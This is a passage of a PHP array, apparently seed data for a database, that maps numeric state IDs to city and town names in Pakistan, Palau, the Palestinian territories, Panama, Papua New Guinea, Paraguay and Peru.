['state_id' => '2728', 'name' => 'lodhran'],\n ['state_id' => '2728', 'name' => 'ludhewala waraich'],\n ['state_id' => '2728', 'name' => 'mailsi'],\n ['state_id' => '2728', 'name' => 'makhdumpur'],\n ['state_id' => '2728', 'name' => 'makhdumpur rashid'],\n ['state_id' => '2728', 'name' => 'malakwal'],\n ['state_id' => '2728', 'name' => 'mamu kanjan'],\n ['state_id' => '2728', 'name' => 'mananwala jodh singh'],\n ['state_id' => '2728', 'name' => 'mandi bahauddin'],\n ['state_id' => '2728', 'name' => 'mandi sadiq ganj'],\n ['state_id' => '2728', 'name' => 'mangat'],\n ['state_id' => '2728', 'name' => 'mangla'],\n ['state_id' => '2728', 'name' => 'mankera'],\n ['state_id' => '2728', 'name' => 'mian channun'],\n ['state_id' => '2728', 'name' => 'miani'],\n ['state_id' => '2728', 'name' => 'mianwali'],\n ['state_id' => '2728', 'name' => 'minchinabad'],\n ['state_id' => '2728', 'name' => 'mitha tiwana'],\n ['state_id' => '2728', 'name' => 'multan'],\n ['state_id' => '2728', 'name' => 'muridke'],\n ['state_id' => '2728', 'name' => 'murree'],\n ['state_id' => '2728', 'name' => 'mustafabad'],\n ['state_id' => '2728', 'name' => 'muzaffargarh'],\n ['state_id' => '2728', 'name' => 'nankana sahib'],\n ['state_id' => '2728', 'name' => 'narang'],\n ['state_id' => '2728', 'name' => 'narowal'],\n ['state_id' => '2728', 'name' => 'noorpur thal'],\n ['state_id' => '2728', 'name' => 'nowshera'],\n ['state_id' => '2728', 'name' => 'nowshera virkan'],\n ['state_id' => '2728', 'name' => 'okara'],\n ['state_id' => '2728', 'name' => 'pakpattan'],\n ['state_id' => '2728', 'name' => 'pasrur'],\n ['state_id' => '2728', 'name' => 'pattoki'],\n ['state_id' => '2728', 'name' => 'phalia'],\n ['state_id' => '2728', 'name' => 'phularwan'],\n ['state_id' => '2728', 'name' => 'pind dadan khan'],\n ['state_id' => '2728', 'name' => 'pindi bhattian'],\n ['state_id' => '2728', 'name' => 'pindi gheb'],\n ['state_id' => '2728', 'name' => 'pirmahal'],\n ['state_id' => '2728', 'name' => 'qadirabad'],\n ['state_id' => '2728', 'name' => 'qadirpur ran'],\n ['state_id' => '2728', 'name' => 'qila disar singh'],\n ['state_id' => '2728', 'name' => 'qila sobha singh'],\n ['state_id' => '2728', 'name' => 'quaidabad'],\n ['state_id' => '2728', 'name' => 'rabwah'],\n ['state_id' => '2728', 'name' => 'rahim yar khan'],\n ['state_id' => '2728', 'name' => 'raiwind'],\n ['state_id' => '2728', 'name' => 'raja jang'],\n ['state_id' => '2728', 'name' => 'rajanpur'],\n ['state_id' => '2728', 'name' => 'rasulnagar'],\n ['state_id' => '2728', 'name' => 'rawalpindi'],\n ['state_id' => '2728', 'name' => 'renala khurd'],\n ['state_id' => '2728', 'name' => 'rojhan'],\n ['state_id' => '2728', 'name' => 'saddar gogera'],\n ['state_id' => '2728', 'name' => 'sadiqabad'],\n ['state_id' => '2728', 'name' => 'safdarabad'],\n ['state_id' => '2728', 'name' => 'sahiwal'],\n ['state_id' => '2728', 'name' => 'samasatta'],\n ['state_id' => '2728', 'name' => 'sambrial'],\n ['state_id' => '2728', 'name' => 'sammundri'],\n ['state_id' => '2728', 'name' => 'sangala hill'],\n ['state_id' => '2728', 'name' => 'sanjwal'],\n ['state_id' => '2728', 'name' => 'sarai alamgir'],\n ['state_id' => '2728', 'name' => 'sarai sidhu'],\n ['state_id' => '2728', 'name' => 'sargodha'],\n ['state_id' => '2728', 'name' => 'shadiwal'],\n ['state_id' => '2728', 'name' => 'shahkot'],\n ['state_id' => '2728', 'name' => 'shahpur city'],\n ['state_id' => '2728', 'name' => 'shahpur saddar'],\n ['state_id' => '2728', 'name' => 'shakargarh'],\n ['state_id' => '2728', 'name' => 'sharqpur'],\n ['state_id' => '2728', 'name' => 'shehr sultan'],\n ['state_id' => '2728', 'name' => 'shekhupura'],\n ['state_id' => '2728', 'name' => 'shujaabad'],\n ['state_id' => '2728', 'name' => 'sialkot'],\n ['state_id' => '2728', 'name' => 'sillanwali'],\n ['state_id' => '2728', 'name' => 'sodhra'],\n ['state_id' => '2728', 'name' => 'sohawa'],\n ['state_id' => '2728', 'name' => 'sukheke'],\n ['state_id' => '2728', 'name' => 'talagang'],\n ['state_id' => '2728', 'name' => 'tandlianwala'],\n ['state_id' => '2728', 'name' => 'taunsa'],\n ['state_id' => '2728', 'name' => 'taxila'],\n ['state_id' => '2728', 'name' => 'tibba sultanpur'],\n ['state_id' => '2728', 'name' => 'toba tek singh'],\n ['state_id' => '2728', 'name' => 'tulamba'],\n ['state_id' => '2728', 'name' => 'uch'],\n ['state_id' => '2728', 'name' => 'vihari'],\n ['state_id' => '2728', 'name' => 'wah'],\n ['state_id' => '2728', 'name' => 'warburton'],\n ['state_id' => '2728', 'name' => 'wazirabad'],\n ['state_id' => '2728', 'name' => 'yazman'],\n ['state_id' => '2728', 'name' => 'zafarwal'],\n ['state_id' => '2728', 'name' => 'zahir pir'],\n ['state_id' => '2729', 'name' => 'adilpur'],\n ['state_id' => '2729', 'name' => 'badah'],\n ['state_id' => '2729', 'name' => 'badin'],\n ['state_id' => '2729', 'name' => 'bagarji'],\n ['state_id' => '2729', 'name' => 'bakshshapur'],\n ['state_id' => '2729', 'name' => 'bandhi'],\n ['state_id' => '2729', 'name' => 'berani'],\n ['state_id' => '2729', 'name' => 'bhan'],\n ['state_id' => '2729', 'name' => 'bhiria city'],\n ['state_id' => '2729', 'name' => 'bhiria road'],\n ['state_id' => '2729', 'name' => 'bhit shah'],\n ['state_id' => '2729', 'name' => 'bozdar'],\n ['state_id' => '2729', 'name' => 'bulri'],\n ['state_id' => '2729', 'name' => 'chak'],\n ['state_id' => '2729', 'name' => 'chambar'],\n ['state_id' => '2729', 'name' => 'chohar jamali'],\n ['state_id' => '2729', 'name' => 'chor'],\n ['state_id' => '2729', 'name' => 'dadu'],\n ['state_id' => '2729', 'name' => 'daharki'],\n ['state_id' => '2729', 'name' => 'daro'],\n ['state_id' => '2729', 'name' => 'darya khan mari'],\n ['state_id' => '2729', 'name' => 'daulatpur'],\n ['state_id' => '2729', 'name' => 'daur'],\n ['state_id' => '2729', 'name' => 'dhoronaro'],\n ['state_id' => '2729', 'name' => 'digri'],\n ['state_id' => '2729', 'name' => 'diplo'],\n ['state_id' => '2729', 'name' => 'dokri'],\n ['state_id' => '2729', 'name' => 'faqirabad'],\n ['state_id' => '2729', 'name' => 'gambat'],\n ['state_id' => '2729', 'name' => 'garello'],\n ['state_id' => '2729', 'name' => 'garhi khairo'],\n ['state_id' => '2729', 'name' => 'garhi yasin'],\n ['state_id' => '2729', 'name' => 'gharo'],\n ['state_id' => '2729', 'name' => 'ghauspur'],\n ['state_id' => '2729', 'name' => 'ghotki'],\n ['state_id' => '2729', 'name' => 'golarchi'],\n ['state_id' => '2729', 'name' => 'guddu'],\n ['state_id' => '2729', 'name' => 'gulistan-e-jauhar'],\n ['state_id' => '2729', 'name' => 'hala'],\n ['state_id' => '2729', 'name' => 'hingorja'],\n ['state_id' => '2729', 'name' => 'hyderabad'],\n ['state_id' => '2729', 'name' => 'islamkot'],\n ['state_id' => '2729', 'name' => 'jacobabad'],\n ['state_id' => '2729', 'name' => 'jam nawaz ali'],\n ['state_id' => '2729', 'name' => 'jam sahib'],\n ['state_id' => '2729', 'name' => 'jati'],\n ['state_id' => '2729', 'name' => 'jhol'],\n ['state_id' => '2729', 'name' => 'jhudo'],\n ['state_id' => '2729', 'name' => 'johi'],\n ['state_id' => '2729', 'name' => 'kadhan'],\n ['state_id' => '2729', 'name' => 'kambar'],\n ['state_id' => '2729', 'name' => 'kandhra'],\n ['state_id' => '2729', 'name' => 'kandiari'],\n ['state_id' => '2729', 'name' => 'kandiaro'],\n ['state_id' => '2729', 'name' => 'karachi'],\n ['state_id' => '2729', 'name' => 'karampur'],\n ['state_id' => '2729', 'name' => 'kario ghanwar'],\n ['state_id' => '2729', 'name' => 'karoondi'],\n ['state_id' => '2729', 'name' => 'kashmor'],\n ['state_id' => '2729', 'name' => 'kazi ahmad'],\n ['state_id' => '2729', 'name' => 'keti bandar'],\n ['state_id' => '2729', 'name' => 'khadro'],\n ['state_id' => '2729', 'name' => 'khairpur'],\n ['state_id' => '2729', 'name' => 'khairpur nathan shah'],\n ['state_id' => '2729', 'name' => 'khandh kot'],\n ['state_id' => '2729', 'name' => 'khanpur'],\n ['state_id' => '2729', 'name' => 'khipro'],\n ['state_id' => '2729', 'name' => 'khoski'],\n ['state_id' => '2729', 'name' => 'khuhra'],\n ['state_id' => '2729', 'name' => 'khyber'],\n ['state_id' => '2729', 'name' => 'kot diji'],\n ['state_id' => '2729', 'name' => 'kot ghulam mohammad'],\n ['state_id' => '2729', 'name' => 'kotri'],\n ['state_id' => '2729', 'name' => 'kumb'],\n ['state_id' => '2729', 'name' => 'kunri'],\n ['state_id' => '2729', 'name' => 'lakhi'],\n ['state_id' => '2729', 'name' => 'larkana'],\n ['state_id' => '2729', 'name' => 'madeji'],\n ['state_id' => '2729', 'name' => 'matiari'],\n ['state_id' => '2729', 'name' => 'matli'],\n ['state_id' => '2729', 'name' => 'mehar'],\n ['state_id' => '2729', 'name' => 'mehrabpur'],\n ['state_id' => '2729', 'name' => 'miro khan'],\n ['state_id' => '2729', 'name' => 'mirpur bathoro'],\n ['state_id' => '2729', 'name' => 'mirpur khas'],\n ['state_id' => '2729', 'name' => 'mirpur mathelo'],\n ['state_id' => '2729', 'name' => 'mirpur sakro'],\n ['state_id' => '2729', 'name' => 'mirwah'],\n ['state_id' => '2729', 'name' => 'mithi'],\n ['state_id' => '2729', 'name' => 'moro'],\n ['state_id' => '2729', 'name' => 'nabisar'],\n ['state_id' => '2729', 'name' => 'nasarpur'],\n ['state_id' => '2729', 'name' => 'nasirabad'],\n ['state_id' => '2729', 'name' => 'naudero'],\n ['state_id' => '2729', 'name' => 'naukot'],\n ['state_id' => '2729', 'name' => 'naushahro firoz'],\n ['state_id' => '2729', 'name' => 'nawabshah'],\n ['state_id' => '2729', 'name' => 'oderolal station'],\n ['state_id' => '2729', 'name' => 'pacca chang'],\n ['state_id' => '2729', 'name' => 'padidan'],\n ['state_id' => '2729', 'name' => 'pano aqil'],\n ['state_id' => '2729', 'name' => 'perumal'],\n ['state_id' => '2729', 'name' => 'phulji'],\n ['state_id' => '2729', 'name' => 'pirjo goth'],\n ['state_id' => '2729', 'name' => 'piryaloi'],\n ['state_id' => '2729', 'name' => 'pithoro'],\n ['state_id' => '2729', 'name' => 'radhan'],\n ['state_id' => '2729', 'name' => 'rajo khanani'],\n ['state_id' => '2729', 'name' => 'ranipur'],\n ['state_id' => '2729', 'name' => 'ratodero'],\n ['state_id' => '2729', 'name' => 'rohri'],\n ['state_id' => '2729', 'name' => 'rustam'],\n ['state_id' => '2729', 'name' => 'saeedabad'],\n ['state_id' => '2729', 'name' => 'sakrand'],\n ['state_id' => '2729', 'name' => 'samaro'],\n ['state_id' => '2729', 'name' => 'sanghar'],\n ['state_id' => '2729', 'name' => 'sann'],\n ['state_id' => '2729', 'name' => 'sarhari'],\n ['state_id' => '2729', 'name' => 'sehwan'],\n ['state_id' => '2729', 'name' => 'setharja'],\n ['state_id' => '2729', 'name' => 'shah dipalli'],\n ['state_id' => '2729', 'name' => 'shahdadkot'],\n ['state_id' => '2729', 'name' => 'shahdadpur'],\n ['state_id' => '2729', 'name' => 'shahpur chakar'],\n ['state_id' => '2729', 'name' => 'shahpur jahania'],\n ['state_id' => '2729', 'name' => 'shikarpur'],\n ['state_id' => '2729', 'name' => 'sinjhoro'],\n ['state_id' => '2729', 'name' => 'sita road'],\n ['state_id' => '2729', 'name' => 'sobhodero'],\n ['state_id' => '2729', 'name' => 'sujawal'],\n ['state_id' => '2729', 'name' => 'sukkur'],\n ['state_id' => '2729', 'name' => 'talhar'],\n ['state_id' => '2729', 'name' => 'tando adam'],\n ['state_id' => '2729', 'name' => 'tando allah yar'],\n ['state_id' => '2729', 'name' => 'tando bagho'],\n ['state_id' => '2729', 'name' => 'tando ghulam ali'],\n ['state_id' => '2729', 'name' => 'tando jam'],\n ['state_id' => '2729', 'name' => 'tando jan mohammad'],\n ['state_id' => '2729', 'name' => 'tando mitha khan'],\n ['state_id' => '2729', 'name' => 'tando muhammad khan'],\n ['state_id' => '2729', 'name' => 'tangwani'],\n ['state_id' => '2729', 'name' => 'thano bula khan'],\n ['state_id' => '2729', 'name' => 'thari mirwah'],\n ['state_id' => '2729', 'name' => 'tharushah'],\n ['state_id' => '2729', 'name' => 'thatta'],\n ['state_id' => '2729', 'name' => 'ther i'],\n ['state_id' => '2729', 'name' => 'ther i mohabat'],\n ['state_id' => '2729', 'name' => 'thul'],\n ['state_id' => '2729', 'name' => 'ubauro'],\n ['state_id' => '2729', 'name' => 'umarkot'],\n ['state_id' => '2729', 'name' => 'warah'],\n ['state_id' => '2730', 'name' => 'ulimang'],\n ['state_id' => '2731', 'name' => 'airai'],\n ['state_id' => '2732', 'name' => 'ngaramash'],\n ['state_id' => '2733', 'name' => 'hatohobei'],\n ['state_id' => '2734', 'name' => 'kayangel'],\n ['state_id' => '2735', 'name' => 'koror'],\n ['state_id' => '2735', 'name' => 'meyungs'],\n ['state_id' => '2736', 'name' => 'melekeok'],\n ['state_id' => '2737', 'name' => 'ngermechau'],\n ['state_id' => '2738', 'name' => 'chol'],\n ['state_id' => '2739', 'name' => 'ollei'],\n ['state_id' => '2740', 'name' => 'oikul'],\n ['state_id' => '2741', 'name' => 'ngerkeai'],\n ['state_id' => '2742', 'name' => 'imeong'],\n ['state_id' => '2743', 'name' => 'ngetkip'],\n ['state_id' => '2744', 'name' => 'kloulklubed'],\n ['state_id' => '2745', 'name' => 'dongosaru'],\n ['state_id' => '2746', 'name' => 'ariha'],\n ['state_id' => '2748', 'name' => 'beit jala'],\n ['state_id' => '2749', 'name' => 'dayr-al-balah'],\n ['state_id' => '2749', 'name' => 'al-burayj'],\n ['state_id' => '2749', 'name' => 'al-insayrat'],\n ['state_id' => '2749', 'name' => 'al-maghazi'],\n ['state_id' => '2750', 'name' => 'ghazzah'],\n ['state_id' => '2751', 'name' => 'ghazzah'],\n ['state_id' => '2752', 'name' => 'janin'],\n ['state_id' => '2752', 'name' => 'qabatiyah'],\n ['state_id' => '2754', 'name' => 'nabulus'],\n ['state_id' => '2755', 'name' => 'qalqilyah'],\n ['state_id' => '2756', 'name' => 'rafah'],\n ['state_id' => '2756', 'name' => 'tall as-sultan'],\n ['state_id' => '2758', 'name' => 'salfit'],\n ['state_id' => '2759', 'name' => 'tubas'],\n ['state_id' => '2760', 'name' => 'tulkarm'],\n ['state_id' => '2761', 'name' => 'dura'],\n ['state_id' => '2761', 'name' => 'halhul'],\n ['state_id' => '2761', 'name' => 'yattah'],\n ['state_id' => '2761', 'name' => 'ad-dahiriyah'],\n ['state_id' => '2761', 'name' => 'al-khalil'],\n ['state_id' => '2762', 'name' => 'ma\\'ale adummim'],\n ['state_id' => '2762', 'name' => 'al-quds'],\n ['state_id' => '2764', 'name' => 'alanje'],\n ['state_id' => '2764', 'name' => 'bajo boquete'],\n ['state_id' => '2764', 'name' => 'boqueron'],\n ['state_id' => '2764', 'name' => 'bugaba'],\n ['state_id' => '2764', 'name' => 'david'],\n ['state_id' => '2764', 'name' => 'dolega'],\n ['state_id' => '2764', 'name' => 'gualaca'],\n ['state_id' => '2764', 'name' => 'horconcitos'],\n ['state_id' => '2764', 'name' => 'las lajas'],\n ['state_id' => '2764', 'name' => 'puerto armuelles'],\n ['state_id' => '2764', 'name' => 'remedios'],\n ['state_id' => '2764', 'name' => 'rio sereno'],\n ['state_id' => '2764', 'name' => 'tole'],\n ['state_id' => '2765', 'name' => 'aguadulce'],\n ['state_id' => '2765', 'name' => 'anton'],\n ['state_id' => '2765', 'name' => 'la pintada'],\n ['state_id' => '2765', 'name' => 'nata'],\n ['state_id' => '2765', 'name' => 'ola'],\n ['state_id' => '2765', 'name' => 'penonome'],\n ['state_id' => '2766', 'name' => 'colon'],\n ['state_id' => '2766', 'name' => 'miguel de la borda'],\n ['state_id' => '2766', 'name' => 'nuevo chagres'],\n ['state_id' => '2766', 'name' => 'portobelo'],\n ['state_id' => '2766', 'name' => 'santa isabel'],\n ['state_id' => '2767', 'name' => 'el real de santa maria'],\n ['state_id' => '2767', 'name' => 'la palma'],\n ['state_id' => '2768', 'name' => 'cirilo guainora'],\n ['state_id' => '2768', 'name' => 'rio sabalo'],\n ['state_id' => '2769', 'name' => 'chitre'],\n ['state_id' => '2769', 'name' => 'las minas'],\n ['state_id' => '2769', 'name' => 'los pozos'],\n ['state_id' => '2769', 'name' => 'ocu'],\n ['state_id' => '2769', 'name' => 'parita'],\n ['state_id' => '2769', 'name' => 'pese'],\n ['state_id' => '2769', 'name' => 'santa maria'],\n ['state_id' => '2773', 'name' => 'arraijan'],\n ['state_id' => '2773', 'name' => 'capira'],\n ['state_id' => '2773', 'name' => 'chame'],\n ['state_id' => '2773', 'name' => 'chepo'],\n ['state_id' => '2773', 'name' => 'chiman'],\n ['state_id' => '2773', 'name' => 'la chorrera'],\n ['state_id' => '2773', 'name' => 'panama'],\n ['state_id' => '2773', 'name' => 'san carlos'],\n ['state_id' => '2773', 'name' => 'san miguel'],\n ['state_id' => '2773', 'name' => 'san miguelito'],\n ['state_id' => '2773', 'name' => 'taboga'],\n ['state_id' => '2774', 'name' => 'atalaya'],\n ['state_id' => '2774', 'name' => 'calobre'],\n ['state_id' => '2774', 'name' => 'canazas'],\n ['state_id' => '2774', 'name' => 'la mesa'],\n ['state_id' => '2774', 'name' => 'las palmas'],\n ['state_id' => '2774', 'name' => 'montijo'],\n ['state_id' => '2774', 'name' => 'rio de jesus'],\n ['state_id' => '2774', 'name' => 'san francisco'],\n ['state_id' => '2774', 'name' => 'santa fe'],\n ['state_id' => '2774', 'name' => 'santiago'],\n ['state_id' => '2774', 'name' => 'sona'],\n ['state_id' => '2778', 'name' => 'laiagam'],\n ['state_id' => '2778', 'name' => 'porgera'],\n ['state_id' => '2778', 'name' => 'wabag'],\n ['state_id' => '2780', 'name' => 'kerema'],\n ['state_id' => '2781', 'name' => 'finschhafen'],\n ['state_id' => '2781', 'name' => 'madang'],\n ['state_id' => '2782', 'name' => 'lorengau'],\n ['state_id' => '2784', 'name' => 'bulolo'],\n ['state_id' => '2784', 'name' => 'lae'],\n ['state_id' => '2784', 'name' => 'wau'],\n ['state_id' => '2788', 'name' => 'kokoda'],\n ['state_id' => '2788', 'name' => 'popondetta'],\n ['state_id' => '2789', 'name' => 'vanimo'],\n ['state_id' => '2790', 'name' => 'kundiawa'],\n ['state_id' => '2796', 'name' => 'bella vista'],\n ['state_id' => '2796', 'name' => 'capitan bado'],\n ['state_id' => '2796', 'name' => 'pedro juan caballero'],\n ['state_id' => '2797', 'name' => 'asuncion'],\n ['state_id' => '2798', 'name' => 'doctor pedro p. pena'],\n ['state_id' => '2798', 'name' => 'filadelfia'],\n ['state_id' => '2798', 'name' => 'marechal estigarribia'],\n ['state_id' => '2798', 'name' => 'menno'],\n ['state_id' => '2798', 'name' => 'neuland'],\n ['state_id' => '2799', 'name' => 'caaguazu'],\n ['state_id' => '2799', 'name' => 'carayao'],\n ['state_id' => '2799', 'name' => 'coronel oviedo'],\n ['state_id' => '2799', 'name' => 'doctor cecilio baez'],\n ['state_id' => '2799', 'name' => 'doctor eulogio estigarribia'],\n ['state_id' => '2799', 'name' => 'doctor juan manuel frutos'],\n ['state_id' => '2799', 'name' => 'jose ocampos'],\n ['state_id' => '2799', 'name' => 'la pastoria'],\n ['state_id' => '2799', 'name' => 'marechal francisco solano lope'],\n ['state_id' => '2799', 'name' => 'mbutuy'],\n ['state_id' => '2799', 'name' => 'nueva londres'],\n ['state_id' => '2799', 'name' => 'raul arsenio oviedo'],\n ['state_id' => '2799', 'name' => 'repatriacion'],\n ['state_id' => '2799', 'name' => 'san joaquin'],\n ['state_id' => '2799', 'name' => 'san jose de los arroyos'],\n ['state_id' => '2799', 'name' => 'simon bolivar'],\n ['state_id' => '2799', 'name' => 'tres corrales'],\n ['state_id' => '2799', 'name' => 'tres de febrero'],\n ['state_id' => '2799', 'name' => 'vaqueria'],\n ['state_id' => '2799', 'name' => 'yhu'],\n ['state_id' => '2800', 'name' => 'abai'],\n ['state_id' => '2800', 'name' => 'buena vista'],\n ['state_id' => '2800', 'name' => 'caazapa'],\n ['state_id' => '2800', 'name' => 'doctor moises bertoni'],\n ['state_id' => '2800', 'name' => 'general higinio morinigo'],\n ['state_id' => '2800', 'name' => 'maciel'],\n ['state_id' => '2800', 'name' => 'san juan nepomuceno'],\n ['state_id' => '2800', 'name' => 'tavai'],\n ['state_id' => '2800', 'name' => 'yegros'],\n ['state_id' => '2800', 'name' => 'yuty'],\n ['state_id' => '2801', 'name' => 'corpus christi'],\n ['state_id' => '2801', 'name' => 'curuguaty'],\n ['state_id' => '2801', 'name' => 'general francisco alvarez'],\n ['state_id' => '2801', 'name' => 'itanara'],\n ['state_id' => '2801', 'name' => 'katuete'],\n ['state_id' => '2801', 'name' => 'la paloma'],\n ['state_id' => '2801', 'name' => 'nueva esperanza'],\n ['state_id' => '2801', 'name' => 'salto del guaira'],\n ['state_id' => '2801', 'name' => 'ygatimi'],\n ['state_id' => '2801', 'name' => 'ypehu'],\n ['state_id' => '2802', 'name' => 'aregua'],\n ['state_id' => '2802', 'name' => 'capiata'],\n ['state_id' => '2802', 'name' => 'fernando de la mora'],\n ['state_id' => '2802', 'name' => 'guarambare'],\n ['state_id' => '2802', 'name' => 'ita'],\n ['state_id' => '2802', 'name' => 'itaugua'],\n ['state_id' => '2802', 'name' => 'juan augusto saldivar'],\n ['state_id' => '2802', 'name' => 'lambare'],\n ['state_id' => '2802', 'name' => 'limpio'],\n ['state_id' => '2802', 'name' => 'luque'],\n ['state_id' => '2802', 'name' => 'nemby'],\n ['state_id' => '2802', 'name' => 'nueva italia'],\n ['state_id' => '2802', 'name' => 'san antonio'],\n ['state_id' => '2802', 'name' => 'san lorenzo'],\n ['state_id' => '2802', 'name' => 'villa elisa'],\n ['state_id' => '2802', 'name' => 'villeta'],\n ['state_id' => '2802', 'name' => 'ypacarai'],\n ['state_id' => '2802', 'name' => 'ypane'],\n ['state_id' => '2803', 'name' => 'belen'],\n ['state_id' => '2803', 'name' => 'concepcion'],\n ['state_id' => '2803', 'name' => 'horqueta'],\n ['state_id' => '2803', 'name' => 'loreto'],\n ['state_id' => '2803', 'name' => 'san carlos'],\n ['state_id' => '2803', 'name' => 'san lazaro'],\n ['state_id' => '2804', 'name' => 'altos'],\n ['state_id' => '2804', 'name' => 'arroyos y esteros'],\n ['state_id' => '2804', 'name' => 'atyra'],\n ['state_id' => '2804', 'name' => 'caacupe'],\n ['state_id' => '2804', 'name' => 'caraguatay'],\n ['state_id' => '2804', 'name' => 'emboscada'],\n ['state_id' => '2804', 'name' => 'eusebio ayala'],\n ['state_id' => '2804', 'name' => 'isla pucu'],\n ['state_id' => '2804', 'name' => 'itacurubi de la cordillera'],\n ['state_id' => '2804', 'name' => 'juan de mena'],\n ['state_id' => '2804', 'name' => 'loma grande'],\n ['state_id' => '2804', 'name' => 'mbocayty del yhaguy'],\n ['state_id' => '2804', 'name' => 'nueva colombia'],\n ['state_id' => '2804', 'name' => 'piribebuy'],\n ['state_id' => '2804', 'name' => 'primero de marzo'],\n ['state_id' => '2804', 'name' => 'san bernardino'],\n ['state_id' => '2804', 'name' => 'san jose obrero'],\n ['state_id' => '2804', 'name' => 'santa elena'],\n ['state_id' => '2804', 'name' => 'tobati'],\n ['state_id' => '2804', 'name' => 'valenzuela'],\n ['state_id' => '2805', 'name' => 'borja'],\n ['state_id' => '2805', 'name' => 'capitan mauricio jose troche'],\n ['state_id' => '2805', 'name' => 'coronel martinez'],\n ['state_id' => '2805', 'name' => 'doctor botrell'],\n ['state_id' => '2805', 'name' => 'felix perez cardozo'],\n ['state_id' => '2805', 'name' => 'general eugenio alejandrino ga'],\n ['state_id' => '2805', 'name' => 'independencia'],\n ['state_id' => '2805', 'name' => 'itape'],\n ['state_id' => '2805', 'name' => 'iturbe'],\n ['state_id' => '2805', 'name' => 'jose fasardi'],\n ['state_id' => '2805', 'name' => 'mbocayaty'],\n ['state_id' => '2805', 'name' => 'natalicio talavera'],\n ['state_id' => '2805', 'name' => 'numi'],\n ['state_id' => '2805', 'name' => 'paso yobai'],\n ['state_id' => '2805', 'name' => 'san salvador'],\n ['state_id' => '2805', 'name' => 'villarrica'],\n ['state_id' => '2805', 'name' => 'yataity'],\n ['state_id' => '2806', 'name' => 'alto vera'],\n ['state_id' => '2806', 'name' => 'bella vista'],\n ['state_id' => '2806', 'name' => 'cambyreta'],\n ['state_id' => '2806', 'name' => 'capitan meza'],\n ['state_id' => '2806', 'name' => 'capitan miranda'],\n ['state_id' => '2806', 'name' => 'carlos antonio lopez'],\n ['state_id' => '2806', 'name' => 'carmen del parana'],\n ['state_id' => '2806', 'name' => 'coronel bogado'],\n ['state_id' => '2806', 'name' => 'edelira'],\n ['state_id' => '2806', 'name' => 'encarnacion'],\n ['state_id' => '2806', 'name' => 'fram'],\n ['state_id' => '2806', 'name' => 'general artigas'],\n ['state_id' => '2806', 'name' => 'general delgado'],\n ['state_id' => '2806', 'name' => 'hohenau'],\n ['state_id' => '2806', 'name' => 'itapua poty'],\n ['state_id' => '2806', 'name' => 'jesus'],\n ['state_id' => '2806', 'name' => 'la paz'],\n ['state_id' => '2806', 'name' => 'leandro oviedo'],\n ['state_id' => '2806', 'name' => 'mayor otano'],\n ['state_id' => '2806', 'name' => 'natalio'],\n ['state_id' => '2806', 'name' => 'nueva alborada'],\n ['state_id' => '2806', 'name' => 'obligado'],\n ['state_id' => '2806', 'name' => 'pirapo'],\n ['state_id' => '2806', 'name' => 'san cosme y damian'],\n ['state_id' => '2806', 'name' => 'san juan del parana'],\n ['state_id' => '2806', 'name' => 'san pedro del parana'],\n ['state_id' => '2806', 'name' => 'san rafael del parana'],\n ['state_id' => '2806', 'name' => 'tomas romero pereira'],\n ['state_id' => '2806', 'name' => 'trinidad'],\n ['state_id' => '2806', 'name' => 'yatytay'],\n ['state_id' => '2807', 'name' => 'ayolas'],\n ['state_id' => '2807', 'name' => 'san ignacio'],\n ['state_id' => '2807', 'name' => 'san juan bautista'],\n ['state_id' => '2807', 'name' => 'san miguel'],\n ['state_id' => '2807', 'name' => 'san patricio'],\n ['state_id' => '2807', 'name' => 'santa maria'],\n ['state_id' => '2807', 'name' => 'santa rosa'],\n ['state_id' => '2807', 'name' => 'santiago'],\n ['state_id' => '2807', 'name' => 'villa florida'],\n ['state_id' => '2807', 'name' => 'yabebyry'],\n ['state_id' => '2808', 'name' => 'alberdi'],\n ['state_id' => '2808', 'name' => 'cerrito'],\n ['state_id' => '2808', 'name' => 'desmochados'],\n ['state_id' => '2808', 'name' => 'general jose eduvigis diaz'],\n ['state_id' => '2808', 'name' => 'guazu cua'],\n ['state_id' => '2808', 'name' => 'humaita'],\n ['state_id' => '2808', 'name' => 'isla umbu'],\n ['state_id' => '2808', 'name' => 'laureles'],\n ['state_id' => '2808', 'name' => 'mayor jose dejesus martinez'],\n ['state_id' => '2808', 'name' => 'paso de patria'],\n ['state_id' => '2808', 'name' => 'pilar'],\n ['state_id' => '2808', 'name' => 'san juan bautista de neembucu'],\n ['state_id' => '2808', 'name' => 'tacuaras'],\n ['state_id' => '2808', 'name' => 'villa franca'],\n ['state_id' => '2808', 'name' => 'villa oliva'],\n ['state_id' => '2808', 'name' => 'villalbin'],\n ['state_id' => '2809', 'name' => 'acahay'],\n ['state_id' => '2809', 'name' => 'caapucu'],\n ['state_id' => '2809', 'name' => 'carapegua'],\n ['state_id' => '2809', 'name' => 'escobar'],\n ['state_id' => '2809', 'name' => 'general bernardino caballero'],\n ['state_id' => '2809', 'name' => 'la colmena'],\n ['state_id' => '2809', 'name' => 'mbuyapey'],\n ['state_id' => '2809', 'name' => 'paraguari'],\n ['state_id' => '2809', 'name' => 'pirayu'],\n ['state_id' => '2809', 'name' => 'quiindy'],\n ['state_id' => '2809', 'name' => 'quyquyho'],\n ['state_id' => '2809', 'name' => 'san roque gonzalez de santa cr'],\n ['state_id' => '2809', 'name' => 'sapucai'],\n ['state_id' => '2809', 'name' => 'tebicuarymi'],\n ['state_id' => '2809', 'name' => 'yaguaron'],\n ['state_id' => '2809', 'name' => 'ybycui'],\n ['state_id' => '2809', 'name' => 'ybytimi'],\n ['state_id' => '2812', 'name' => 'bagua grande'],\n ['state_id' => '2812', 'name' => 'cajaruro'],\n ['state_id' => '2812', 'name' => 'chachapoyas'],\n ['state_id' => '2812', 'name' => 'jazan'],\n ['state_id' => '2812', 'name' => 'la peca'],\n ['state_id' => '2813', 'name' => 'ancash'],\n ['state_id' => '2813', 'name' => 'caraz'],\n ['state_id' => '2813', 'name' => 'carhuaz'],\n ['state_id' => '2813', 'name' => 'casma'],\n ['state_id' => '2813', 'name' => 'chimbote'],\n ['state_id' => '2813', 'name' => 'choishco'],\n ['state_id' => '2813', 'name' => 'huallanca'],\n ['state_id' => '2813', 'name' => 'huaraz'],\n ['state_id' => '2813', 'name' => 'huari'],\n ['state_id' => '2813', 'name' => 'huarmey'],\n ['state_id' => '2813', 'name' => 'pomabamba'],\n ['state_id' => '2813', 'name' => 'santa'],\n ['state_id' => '2813', 'name' => 'yungay'],\n ['state_id' => '2814', 'name' => 'abancay'],\n ['state_id' => '2814', 'name' => 'andahuaylas'],\n ['state_id' => '2814', 'name' => 'san jeronimo'],\n ['state_id' => '2814', 'name' => 'talavera'],\n ['state_id' => '2815', 'name' => 'acari'],\n ['state_id' => '2815', 'name' => 